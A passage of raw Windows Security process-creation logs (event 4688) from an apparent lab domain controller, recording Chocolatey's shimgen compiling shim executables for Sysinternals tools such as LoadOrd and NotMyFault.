Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246578
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrdC.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246577
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd5c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x60c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246576
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x60c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrdC.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrdC.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrdC.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246575
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb38
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD879.tmp" "c:\ProgramData\chocolatey\bin\CSCFC0761AB970D46C6A875512843926D0.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246574
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x310
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb38
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246573
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3c4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_0678\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246614
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe04
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246613
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfault64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_8802\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246612
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8d0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb24
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246611
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfault64.exe" --output="C:\ProgramData\chocolatey\bin\notmyfault64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfault64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246610
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x528
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDE93.tmp" "c:\ProgramData\chocolatey\bin\CSCE0CD9468F36146938939BE6D269916CA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246609
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246608
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb18
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notmyfault.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123414_6146\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246607
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb18
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246606
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb18
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\notmyfault.exe" --output="C:\ProgramData\chocolatey\bin\notmyfault.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\notmyfault.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246605
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDD99.tmp" "c:\ProgramData\chocolatey\bin\CSC4A7554FCDDC046C883153087166A1C9F.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246604
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
